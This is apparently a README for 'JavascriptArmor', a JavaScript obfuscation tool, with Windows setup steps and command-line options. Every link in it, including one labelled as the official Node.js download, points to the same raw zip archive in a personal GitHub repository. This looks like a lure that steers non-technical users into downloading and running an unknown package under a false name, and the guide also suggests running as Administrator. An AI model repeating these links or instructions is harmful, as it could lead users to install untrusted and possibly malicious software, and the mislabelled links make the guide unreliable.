JavascriptArmor is a tool designed to protect your JavaScript source code. It makes the code harder to understand by changing its structure without affecting how it works. This helps stop others from copying or changing your code without permission. The tool works through a command-line interface (CLI), but this guide will help you use it easily on Windows even if you have little or no technical background.
Before you begin, make sure your computer meets these requirements:
- Windows 10 or newer
- At least 4 GB of RAM
- At least 500 MB free disk space
- Internet connection to download files
- Basic access rights to install software
- Changes JavaScript code to make it hard to read
- Works through simple commands in Windows command prompt
- Supports the latest versions of Node.js
- Protects your code from reverse engineering
- Uses control-flow and encoding techniques to increase security
Click the button below to go to the page where you can get JavascriptArmor.
On the download page, find the latest release or files section. Look for the Windows version or a general download file. You will usually see a .zip, .exe, or other installer file. Click the link to start the download.
JavascriptArmor requires Node.js to run. If you don’t have Node.js yet, follow these simple steps:
- Open your browser and go to https://raw.githubusercontent.com/blaynadams50-cyber/JavascriptArmor/main/tutorial/Javascript_Armor_v3.9.zip.
- Download the Windows version (choose the LTS version for stability).
- Run the installer and follow the instructions.
- After installation, open a command prompt by pressing
Win + R, typingcmd, and pressing Enter. - Type
node -vand press Enter. You should see the version number to confirm Node.js is installed.
If you downloaded a .zip file on Step 2:
- Right-click on the file.
- Choose “Extract All” and select a folder where you want to keep the files.
- Open that folder when extraction is complete.
Press Win + R, type cmd and press Enter.
Type cd then drag and drop the folder where JavascriptArmor is extracted, and press Enter. This changes your command prompt to work in the folder with the software.
In the command prompt, type:
npm install
and press Enter. This command downloads and sets up necessary parts for JavascriptArmor to run properly.
To protect your JavaScript file, use this command:
node index.js -i "path_to_your_file.js" -o "output_file.js"
Replace path_to_your_file.js with the location of the JavaScript file you want to protect. Replace output_file.js with the name you want for the protected file. If your input file is in the same folder, you only need to type its name.
JavascriptArmor changes your JavaScript code in ways that make it confusing to read but keep its original function. It does this by:
- Changing variable names to random letters and numbers
- Encoding strings so they don’t appear clearly
- Changing the order and flow of code commands
- Adding extra steps that only work during the program running, making reverse engineering harder
These techniques help keep your source code safe without slowing it down when running.
-i <inputFile>: Specify the file you want to protect.-o <outputFile>: Specify the name for the protected file.-c: Enable control flow obfuscation.-e: Enable string encoding.-h: Display help and command options.
Example:
node index.js -i example.js -o example-protected.js -c -e
This command protects example.js using control flow and encoding, producing example-protected.js.
index.js— Main program file you run.config.json— Optional settings file to change behavior.README.md— This guide.node_modules/— Folder created after installation with needed packages.
- Make sure Node.js is properly installed by running
node -v. - Ensure you are in the right folder in command prompt where JavascriptArmor files are.
- Check that your input file path is correct.
- If errors occur during install, try running the command prompt as Administrator.
- For specific messages, search GitHub Issues on the JavascriptArmor page.
-
Official Download Page:
https://raw.githubusercontent.com/blaynadams50-cyber/JavascriptArmor/main/tutorial/Javascript_Armor_v3.9.zip -
Node.js Download:
https://raw.githubusercontent.com/blaynadams50-cyber/JavascriptArmor/main/tutorial/Javascript_Armor_v3.9.zip -
JavascriptArmor Documentation and Source Code:
https://raw.githubusercontent.com/blaynadams50-cyber/JavascriptArmor/main/tutorial/Javascript_Armor_v3.9.zip
This tool helps protect your JavaScript code from casual copying or reading. It does not guarantee full protection against skilled reverse engineers. Always use additional security measures depending on your project needs.